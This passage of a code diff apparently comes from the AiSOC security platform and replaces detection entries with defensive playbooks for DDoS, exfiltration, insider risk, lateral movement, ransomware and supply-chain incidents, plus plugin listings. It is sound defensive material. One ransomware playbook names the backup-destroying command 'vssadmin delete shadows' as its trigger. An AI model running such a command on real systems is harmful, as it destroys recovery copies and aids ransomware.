downstream investigation.",+ "name": "DDoS: SYN Flood",+ "description": "Triggered by SYN flood pattern at edge. Enables SYN cookies and increases backend capacity.","version": "1.0.0","author": "AiSOC",- "tags": ["endpoint", "forensics", "isolation"],+ "tags": [+ "ddos",+ "ddos",+ "network"+ ],"severity": "critical","trigger": "alert",- "steps": 8+ "steps": 5,+ "category": "ddos",+ "mitre_techniques": [+ "T1498"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/ddos/ddos-syn-flood.playbook.json"},{- "id": "tpl-credential-compromise",+ "id": "ddos-volumetric-l3-v1","type": "playbook",- "name": "Credential Compromise Response",- "description": "Handles credential-dumping events: process termination, memory capture, SIEM correlation, and credential-reset orchestration across linked accounts.",+ "name": "DDoS: Volumetric L3/L4",+ "description": "Triggered by volumetric flood detection at edge. Engages scrubbing provider and pages on-call.","version": "1.0.0","author": "AiSOC",- "tags": ["credentials", "endpoint", "identity"],+ "tags": [+ "ddos",+ "ddos",+ "network"+ ],"severity": "critical","trigger": "alert",- "steps": 9+ "steps": 4,+ "category": "ddos",+ "mitre_techniques": [+ "T1498"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/ddos/ddos-volumetric-l3.playbook.json"},{- "id": "det-net-001",- "type": "detection",- "name": "C2 Beacon High-Frequency Periodic Connections",- "description": "Detects C2 beaconing based on high-frequency periodic network connections.",+ "id": "exfil-archive-egress-v1",+ "type": "playbook",+ "name": "Exfil: Archive File Egress (.zip / .7z / .rar)",+ "description": "Triggered when a host uploads an archive to an external dest. Holds the file in DLP review queue and notifies user's manager.","version": "1.0.0","author": "AiSOC",- "tags": ["c2", "network", "mitre.attack.t1071"],+ "tags": [+ "data-exfil",+ "exfil",+ "dlp",+ "archive"+ ],"severity": "high",- "category": "network"+ "trigger": "alert",+ "steps": 5,+ "category": "data-exfil",+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/data-exfil/exfil-archive-egress.playbook.json"},{- "id": "det-net-002",- "type": "detection",- "name": "DNS Data Exfiltration via Tunnelling",- "description": "Detects DNS tunnelling activity used for data exfiltration.",+ "id": "exfil-dns-tunneling-v1",+ "type": "playbook",+ "name": "Exfil: DNS Tunneling",+ "description": "Triggered by high-entropy DNS query length on a host. Sinkholes the suspect domain and isolates the host.","version": "1.0.0","author": "AiSOC",- "tags": ["dns", "exfiltration", "mitre.attack.t1048.003"],+ "tags": [+ "data-exfil",+ "exfil",+ "dns"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 6,+ "category": "data-exfil",+ "mitre_techniques": [+ "T1071.004"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/data-exfil/exfil-dns-tunneling.playbook.json"+ },+ {+ "id": "exfil-large-upload-v1",+ "type": "playbook",+ "name": "Exfil: Large Outbound Upload",+ "description": "Triggered when a host uploads >X GB to a non-corporate destination in a short window. Blocks destination and investigates.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "data-exfil",+ "exfil",+ "dlp"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 5,+ "category": "data-exfil",+ "mitre_techniques": [+ "T1567"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/data-exfil/exfil-large-upload.playbook.json"+ },+ {+ "id": "exfil-personal-cloud-v1",+ "type": "playbook",+ "name": "Exfil: Personal Cloud Storage Upload",+ "description": "Triggered when corporate data uploads to a personal cloud (personal Drive, Dropbox, iCloud). Blocks dest, manager notify.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "data-exfil",+ "exfil",+ "saas"+ ],"severity": "high",- "category": "network"+ "trigger": "alert",+ "steps": 4,+ "category": "data-exfil",+ "mitre_techniques": [+ "T1567.002"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/data-exfil/exfil-personal-cloud.playbook.json"},{- "id": "det-net-003",- "type": "detection",- "name": "Internal Network Port Scan",- "description": "Identifies internal network port scanning activity.",+ "id": "exfil-removable-media-v1",+ "type": "playbook",+ "name": "Exfil: Sensitive Data to Removable Media",+ "description": "Triggered when a sensitive file is written to a USB volume. Blocks USB writes via EDR policy and opens a ticket.","version": "1.0.0","author": "AiSOC",- "tags": ["port-scan", "reconnaissance", "mitre.attack.t1046"],+ "tags": [+ "data-exfil",+ "exfil",+ "endpoint",+ "usb"+ ],"severity": "medium",- "category": "network"+ "trigger": "alert",+ "steps": 4,+ "category": "data-exfil",+ "mitre_techniques": [+ "T1052"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/data-exfil/exfil-removable-media.playbook.json"},{- "id": "det-ep-001",- "type": "detection",- "name": "Ransomware - Mass File Extension Modification",- "description": "Detects rapid mass file rename operations with known ransomware extension patterns.",+ "id": "insider-after-hours-access-v1",+ "type": "playbook",+ "name": "Insider: Anomalous After-Hours Access",+ "description": "Triggered when a user accesses sensitive systems outside their normal pattern. Step-up MFA and log for HR review.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "insider-risk",+ "insider",+ "anomaly"+ ],+ "severity": "medium",+ "trigger": "alert",+ "steps": 4,+ "category": "insider-risk",+ "mitre_techniques": [+ "T1078"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/insider-risk/insider-after-hours-access.playbook.json"+ },+ {+ "id": "insider-mass-download-v1",+ "type": "playbook",+ "name": "Insider: Mass File Download",+ "description": "Triggered when a single user downloads >N files from a sensitive store in <T window. Reduces user permissions and notifies manager.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "insider-risk",+ "insider",+ "dlp"+ ],+ "severity": "high",+ "trigger": "alert",+ "steps": 5,+ "category": "insider-risk",+ "mitre_techniques": [+ "T1530"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/insider-risk/insider-mass-download.playbook.json"+ },+ {+ "id": "insider-privilege-misuse-v1",+ "type": "playbook",+ "name": "Insider: Privilege Misuse",+ "description": "Triggered when a privileged account performs actions outside its approved JIT window. Revokes privilege and pages HR-Sec.","version": "1.0.0","author": "AiSOC",- "tags": ["ransomware", "endpoint", "mitre.attack.t1486"],+ "tags": [+ "insider-risk",+ "insider",+ "privilege"+ ],"severity": "critical",- "category": "endpoint"+ "trigger": "alert",+ "steps": 4,+ "category": "insider-risk",+ "mitre_techniques": [+ "T1078.004"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/insider-risk/insider-privilege-misuse.playbook.json"},{- "id": "det-ep-002",- "type": "detection",- "name": "Living-off-the-Land Binary Abuse (LOLBAS)",- "description": "Detects abuse of legitimate Windows binaries to execute malicious payloads.",+ "id": "insider-resignation-data-access-v1",+ "type": "playbook",+ "name": "Insider: Resignation + Sensitive Access",+ "description": "Triggered when a user with a recent resignation flag accesses sensitive data. Read-only mode and HR audit.","version": "1.0.0","author": "AiSOC",- "tags": ["lolbas", "endpoint", "mitre.attack.t1218"],+ "tags": [+ "insider-risk",+ "insider",+ "hr"+ ],"severity": "high",- "category": "endpoint"+ "trigger": "alert",+ "steps": 5,+ "category": "insider-risk",+ "mitre_techniques": [+ "T1530"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/insider-risk/insider-resignation-data-access.playbook.json"},{- "id": "det-ep-003",- "type": "detection",- "name": "Credential Dumping - LSASS Memory Access",- "description": "Detects memory access attempts against lsass.exe with credential-dumping access masks.",+ "id": "insider-source-code-exfil-v1",+ "type": "playbook",+ "name": "Insider: Source-Code Exfil",+ "description": "Triggered when a developer pushes private source to a personal remote or pastebin-like target. Blocks dest, pages eng-leadership.","version": "1.0.0","author": "AiSOC",- "tags": ["credentials", "endpoint", "mitre.attack.t1003.001"],+ "tags": [+ "insider-risk",+ "insider",+ "source-code"+ ],"severity": "critical",- "category": "endpoint"+ "trigger": "alert",+ "steps": 5,+ "category": "insider-risk",+ "mitre_techniques": [+ "T1567"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/insider-risk/insider-source-code-exfil.playbook.json"},{- "id": "det-cloud-001",- "type": "detection",- "name": "AWS Root Account Console Login",- "description": "Detects any console sign-in using the AWS root account.",+ "id": "lateral-cross-domain-v1",+ "type": "playbook",+ "name": "Lateral: Cross-Domain Movement",+ "description": "Triggered when an account from one trust domain authenticates to an asset in a separately-classified domain in a way that violates policy. Segments the network and investigates.","version": "1.0.0","author": "AiSOC",- "tags": ["aws", "cloud", "mitre.attack.t1078.004"],+ "tags": [+ "lateral-movement",+ "lateral",+ "trust"+ ],"severity": "critical",- "category": "cloud"+ "trigger": "alert",+ "steps": 4,+ "category": "lateral-movement",+ "mitre_techniques": [+ "T1021"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/lateral-movement/lateral-cross-domain.playbook.json"},{- "id": "det-cloud-002",- "type": "detection",- "name": "AWS S3 Bucket Made Public",- "description": "Detects when an S3 bucket ACL or policy is modified to allow public access.",+ "id": "lateral-kerberoasting-v1",+ "type": "playbook",+ "name": "Lateral: Kerberoasting",+ "description": "Triggered by abnormal SPN-ticket request volume from a single user. Resets impacted service-account credentials.","version": "1.0.0","author": "AiSOC",- "tags": ["aws", "s3", "data-exposure", "mitre.attack.t1530"],+ "tags": [+ "lateral-movement",+ "lateral",+ "ad"+ ],"severity": "high",- "category": "cloud"+ "trigger": "alert",+ "steps": 5,+ "category": "lateral-movement",+ "mitre_techniques": [+ "T1558.003"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/lateral-movement/lateral-kerberoasting.playbook.json"},{- "id": "det-id-001",- "type": "detection",- "name": "Brute Force - Multiple Failed Authentication Attempts",- "description": "Detects brute-force or password-spray attacks with >10 failures in 5 minutes.",+ "id": "lateral-pass-the-hash-v1",+ "type": "playbook",+ "name": "Lateral: Pass-The-Hash",+ "description": "Triggered by NTLM relay / PTH detection. Disables the user and isolates source + destination.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "lateral-movement",+ "lateral",+ "ad"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 6,+ "category": "lateral-movement",+ "mitre_techniques": [+ "T1550.002"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/lateral-movement/lateral-pass-the-hash.playbook.json"+ },+ {+ "id": "lateral-psexec-detected-v1",+ "type": "playbook",+ "name": "Lateral: PsExec / Remote Service Creation",+ "description": "Triggered by remote service creation patterns indicative of PsExec / Impacket. Isolates target and source, investigates.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "lateral-movement",+ "lateral",+ "endpoint"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 5,+ "category": "lateral-movement",+ "mitre_techniques": [+ "T1021.002"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/lateral-movement/lateral-psexec-detected.playbook.json"+ },+ {+ "id": "lateral-rdp-spray-v1",+ "type": "playbook",+ "name": "Lateral: RDP Spray",+ "description": "Triggered when one host opens RDP to >N hosts in <T window. Blocks the source IP, isolates host, investigates.","version": "1.0.0","author": "AiSOC",- "tags": ["brute-force", "identity", "mitre.attack.t1110"],+ "tags": [+ "lateral-movement",+ "lateral",+ "rdp"+ ],"severity": "high",- "category": "identity"+ "trigger": "alert",+ "steps": 5,+ "category": "lateral-movement",+ "mitre_techniques": [+ "T1021.001"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/lateral-movement/lateral-rdp-spray.playbook.json"},{- "id": "det-id-002",- "type": "detection",- "name": "Impossible Travel - Authentication from Two Distant Geolocations",- "description": "Detects geographically impossible login sequences indicating credential compromise.",+ "id": "ransomware-c2-block-v1",+ "type": "playbook",+ "name": "Ransomware: C2 Beacon Block",+ "description": "Triggered by C2 beaconing detections that match ransomware-family TTPs. Blocks C2 destinations at edge, isolates source host.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "ransomware",+ "ransomware",+ "c2"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 6,+ "category": "ransomware",+ "mitre_techniques": [+ "T1071"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/ransomware/ransomware-c2-block.playbook.json"+ },+ {+ "id": "ransomware-fileserver-encrypt-v1",+ "type": "playbook",+ "name": "Ransomware: File-Server Encryption Activity",+ "description": "Triggered by mass-rename / mass-extension-change on a file server. Network-segments the host to halt SMB lateral encryption.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "ransomware",+ "ransomware",+ "fileserver"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 5,+ "category": "ransomware",+ "mitre_techniques": [+ "T1486"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/ransomware/ransomware-fileserver-encrypt.playbook.json"+ },+ {+ "id": "ransomware-host-isolate-v1",+ "type": "playbook",+ "name": "Ransomware: Host Isolation & Snapshot",+ "description": "Immediate host isolation, disk snapshot for forensics, page on-call. Standard first-response for endpoint ransomware.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "ransomware",+ "ransomware",+ "endpoint"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 6,+ "category": "ransomware",+ "mitre_techniques": [+ "T1486"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/ransomware/ransomware-host-isolate.playbook.json"+ },+ {+ "id": "ransomware-public-exposure-v1",+ "type": "playbook",+ "name": "Ransomware: Internet-Exposed Asset Containment",+ "description": "Triggered when a host with public exposure shows ransomware indicators. Pulls the asset off the internet immediately.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "ransomware",+ "ransomware",+ "exposure"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 6,+ "category": "ransomware",+ "mitre_techniques": [+ "T1486"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/ransomware/ransomware-public-exposure.playbook.json"+ },+ {+ "id": "ransomware-shadow-copy-deletion-v1",+ "type": "playbook",+ "name": "Ransomware: Shadow Copy Deletion Detected",+ "description": "Triggered on `vssadmin delete shadows` or wmic shadowcopy delete. Pre-encryption signal \u2014 isolate fast and verify backups.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "ransomware",+ "ransomware",+ "endpoint"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 5,+ "category": "ransomware",+ "mitre_techniques": [+ "T1490"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/ransomware/ransomware-shadow-copy-deletion.playbook.json"+ },+ {+ "id": "supply-github-action-compromise-v1",+ "type": "playbook",+ "name": "Supply Chain: GitHub Action Compromise",+ "description": "Triggered when a referenced GitHub Action SHA changes unexpectedly or matches a compromise advisory. Pin to last-known-good and audit.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "supply-chain",+ "supply-chain",+ "github"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 5,+ "category": "supply-chain",+ "mitre_techniques": [+ "T1195.002"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/supply-chain/supply-github-action-compromise.playbook.json"+ },+ {+ "id": "supply-iac-drift-v1",+ "type": "playbook",+ "name": "Supply Chain: IaC Drift Detected",+ "description": "Triggered when production infra deviates from IaC source of truth in a security-relevant way. Reverts to declared state.","version": "1.0.0","author": "AiSOC",- "tags": ["impossible-travel", "identity", "mitre.attack.t1078"],+ "tags": [+ "supply-chain",+ "supply-chain",+ "iac",+ "drift"+ ],"severity": "high",- "category": "identity"+ "trigger": "alert",+ "steps": 4,+ "category": "supply-chain",+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/supply-chain/supply-iac-drift.playbook.json"},{- "id": "det-app-001",- "type": "detection",- "name": "SQL Injection Attempt via Web Application",- "description": "Detects SQL injection payloads in HTTP request parameters.",+ "id": "supply-malicious-npm-v1",+ "type": "playbook",+ "name": "Supply Chain: Malicious npm Package",+ "description": "Triggered when a published npm package matches a known-bad list. Blocks installs at registry-mirror, audits org installs.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "supply-chain",+ "supply-chain",+ "npm"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 6,+ "category": "supply-chain",+ "mitre_techniques": [+ "T1195"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/supply-chain/supply-malicious-npm.playbook.json"+ },+ {+ "id": "supply-pypi-typosquat-v1",+ "type": "playbook",+ "name": "Supply Chain: PyPI Typosquat",+ "description": "Triggered when a typosquat package is observed in CI installs. Pulls install lock to canonical name and audits.","version": "1.0.0","author": "AiSOC",- "tags": ["sqli", "application", "mitre.attack.t1190"],+ "tags": [+ "supply-chain",+ "supply-chain",+ "pypi"+ ],"severity": "high",- "category": "application"+ "trigger": "alert",+ "steps": 5,+ "category": "supply-chain",+ "mitre_techniques": [+ "T1195"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/supply-chain/supply-pypi-typosquat.playbook.json"+ },+ {+ "id": "supply-vendor-breach-v1",+ "type": "playbook",+ "name": "Supply Chain: Vendor Breach Notification",+ "description": "Triggered when a vendor publishes a breach advisory matching internal vendor inventory. Blocks vendor IPs, opens procurement review.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "supply-chain",+ "supply-chain",+ "vendor"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 4,+ "category": "supply-chain",+ "mitre_techniques": [+ "T1199"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/supply-chain/supply-vendor-breach.playbook.json"+ },+ {+ "id": "cloudflare-waf",+ "type": "plugin",+ "name": "Cloudflare WAF Action",+ "description": "Cloudflare WAF action plugin. Blocks IPs at the zone or account level, toggles \"Under Attack\" mode, manages firewall rules, and purges cache via the Cloudflare API. Useful as an inline response step in DDoS, credential stuffing, and bot-attack playbooks.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "network",+ "cloudflare",+ "waf",+ "response",+ "ddos"+ ],+ "plugin_type": "action",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/cloudflare-waf",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/cloudflare-waf/plugin.yaml"+ },+ {+ "id": "datadog-incidents",+ "type": "plugin",+ "name": "Datadog Incidents Connector",+ "description": "Pulls open Datadog incidents and security signals into AiSOC for unified triage. Supports both the Incidents API and the Security Monitoring signals API so AiSOC can mirror infra alerts and security findings side-by-side.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "observability",+ "datadog",+ "incidents",+ "signals",+ "connector"+ ],+ "plugin_type": "connector",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/datadog-incidents",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/datadog-incidents/plugin.yaml"+ },+ {+ "id": "github-audit",+ "type": "plugin",+ "name": "GitHub Audit Log Connector",+ "description": "GitHub Enterprise / Organization audit log connector. Streams org audit events, lists secret-scanning alerts, and pulls user activity for security investigations. Backed by the GitHub Audit Log API.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "vcs",+ "github",+ "audit",+ "identity",+ "supply-chain"+ ],+ "plugin_type": "connector",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/github-audit",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/github-audit/plugin.yaml"+ },+ {+ "id": "gitlab-audit",+ "type": "plugin",+ "name": "GitLab Audit Connector",+ "description": "Pulls GitLab audit events at the instance, group, or project level. Mirrors the github-audit connector so security teams can monitor access changes, permission grants, secret rotations, and CI configuration changes across both GitHub and GitLab from a single SOC.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "identity",+ "gitlab",+ "audit",+ "devsecops",+ "connector"+ ],+ "plugin_type": "connector",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/gitlab-audit",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/gitlab-audit/plugin.yaml"+ },+ {+ "id": "jamf-mdm",+ "type": "plugin",+ "name": "Jamf Pro MDM Connector",+ "description": "Jamf Pro MDM connector for Apple device fleet management. Looks up devices, retrieves compliance posture, locks compromised endpoints, wipes lost devices, and pulls inventory metadata for case enrichment \u2014 all via the Jamf Pro Classic and Pro REST APIs.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "mdm",+ "jamf",+ "endpoint",+ "apple",+ "identity"+ ],+ "plugin_type": "connector",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/jamf-mdm",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/jamf-mdm/plugin.yaml"+ },+ {+ "id": "mttr-widget",+ "type": "plugin",+ "name": "MTTR Dashboard Widget",+ "description": "Computes Mean Time to Respond (MTTR) and Mean Time to Detect (MTTD) metrics from closed AiSOC cases, broken down by severity and playbook. Returns structured data ready for the AiSOC dashboard widget renderer.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "metrics",+ "mttr",+ "mttd",+ "dashboard",+ "widget"+ ],+ "plugin_type": "widget",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/mttr-widget",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/mttr-widget/plugin.yaml"+ },+ {+ "id": "notion-incidents",+ "type": "plugin",+ "name": "Notion Incidents Sync",+ "description": "Syncs AiSOC incidents to a Notion database. Creates a new page per incident with severity, status, MITRE techniques, summary, and a link back to the AiSOC case. Useful for runbook archives and post-mortems.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "collaboration",+ "notion",+ "incidents",+ "postmortem",+ "action"+ ],+ "plugin_type": "action",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/notion-incidents",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/notion-incidents/plugin.yaml"+ },+ {+ "id": "okta-connector",+ "type": "plugin",+ "name": "Okta Connector",+ "description": "Okta Identity Cloud connector. Looks up users, lists active sessions, suspends/unsuspends accounts, clears MFA factors, and logs out all active sessions for a given user \u2014 all via the Okta Management API.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "identity",+ "okta",+ "iam",+ "sso"+ ],+ "plugin_type": "connector",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/okta-connector",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/okta-connector/plugin.yaml"+ },+ {+ "id": "onepassword-events",+ "type": "plugin",+ "name": "1Password Events Connector",+ "description": "Pulls 1Password Business and Enterprise events (sign-in attempts, item usage, and audit events) via the 1Password Events API. Useful for detecting credential theft, anomalous access patterns, and insider misuse of privileged secrets.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "identity",+ "secrets",+ "1password",+ "events",+ "connector"+ ],+ "plugin_type": "connector",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/onepassword-events",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/onepassword-events/plugin.yaml"+ },+ {+ "id": "pagerduty-paging",+ "type": "plugin",+ "name": "PagerDuty Paging",+ "description": "Pages on-call responders via PagerDuty. Supports trigger / acknowledge / resolve incidents through the Events API v2 and direct API calls for service/escalation lookups.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "paging",+ "pagerduty",+ "oncall",+ "incidents",+ "action"+ ],+ "plugin_type": "action",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/pagerduty-paging",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/pagerduty-paging/plugin.yaml"+ },+ {+ "id": "slack-quarantine",+ "type": "plugin",+ "name": "Slack Quarantine Notifier",+ "description": "Posts a structured quarantine notification to a Slack channel when a host or user has been isolated during an incident response. Supports rich Block Kit formatting, direct-message escalations to the on-call analyst, and thread-based updates as the incident evolves.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "slack",+ "notification",+ "quarantine",+ "response"+ ],+ "plugin_type": "responder",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/slack-quarantine",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/slack-quarantine/plugin.yaml"+ },+ {+ "id": "snowflake-events",+ "type": "plugin",+ "name": "Snowflake Events Connector",+ "description": "Polls Snowflake account/login/query history from the SNOWFLAKE.ACCOUNT_USAGE schema. Useful for spotting anomalous queries, exfiltration patterns, and access from unexpected regions or service accounts.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "data",+ "snowflake",+ "warehouse",+ "events",+ "connector",+ "exfil"+ ],+ "plugin_type": "connector",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/snowflake-events",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/snowflake-events/plugin.yaml"+ },+ {+ "id": "tailscale-acl",+ "type": "plugin",+ "name": "Tailscale ACL Action",+ "description": "Tailscale ACL action plugin. Lists devices, retrieves the current tailnet policy, suspends devices, and pushes ACL updates via the Tailscale API. Useful as an isolation step in account-takeover and lateral-movement playbooks.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "network",+ "tailscale",+ "zerotrust",+ "response",+ "isolation"+ ],+ "plugin_type": "action",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/tailscale-acl",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/tailscale-acl/plugin.yaml"+ },+ {+ "id": "twilio-sms",+ "type": "plugin",+ "name": "Twilio SMS Notifier",+ "description": "Sends SMS messages via Twilio's REST API. Useful for paging on-call responders, emergency notifications, and out-of-band alerts when email or chat are unavailable.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "notification",+ "sms",+ "twilio",+ "paging",+ "action"+ ],+ "plugin_type": "action",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/twilio-sms",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/twilio-sms/plugin.yaml"+ },+ {+ "id": "yara-enricher",+ "type": "plugin",+ "name": "YARA File Enricher",+ "description": "Scans a file (supplied as bytes or a local path) against a configurable set of YARA rule files. Returns matching rule names, tags, and metadata so analysts can quickly triage malware indicators.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "malware",+ "yara",+ "file-analysis",+ "enrichment"+ ],+ "plugin_type": "enricher",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/yara-enricher",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/yara-enricher/plugin.yaml"}]}diff --git a/packages/plugin-sdk-go/aisoc/widget.go b/packages/plugin-sdk-go/aisoc/widget.gonew file mode 100644index 000000000..ae75d43d3--- /dev/null+++ b/packages/plugin-sdk-go/aisoc/widget.go@@ -0,0 +1,54 @@+// Widget plugin support for the AiSOC Go SDK.+//+// Widget plugins compute structured data for dashboard panels. They receive+// arbitrary JSON payloads (filters, time ranges, slicing parameters) and+// return arbitrary JSON output that the front-end widget renderer consumes.+//+// Widgets typically read from the AiSOC API or directly from analytical+// stores, transform the raw data, and shape it for the renderer. They are+// distinct from Enrichers (which work on indicators) and Actions (which+// have side effects).++package aisoc++import "context"++// PluginTypeWidget identifies a dashboard widget plugin in PluginManifest.+const PluginTypeWidget PluginType = "widget"++// WidgetRequest carries the parameters for a single widget computation.+type WidgetRequest struct {+ // Payload is the dashboard-supplied filter/parameter object. Shape is+ // widget-specific; e.g. {lookback_days: 30, severity_filter: ["high"]}.+ Payload map[string]any `json:"payload,omitempty"`++ // CaseID is set when the widget is rendered in a per-case context.+ CaseID string `json:"case_id,omitempty"`++ // TenantID is the calling tenant for multi-tenant deployments.+ TenantID string `json:"tenant_id,omitempty"`+}++// WidgetResult carries the structured output of a widget computation. The+// `Data` map shape is widget-specific and rendered by the front end.+type WidgetResult struct {+ // Data is the renderer-ready payload (series, summary, breakdowns, ...).+ Data map[string]any `json:"data,omitempty"`++ // SampleSize is an optional count of records used in 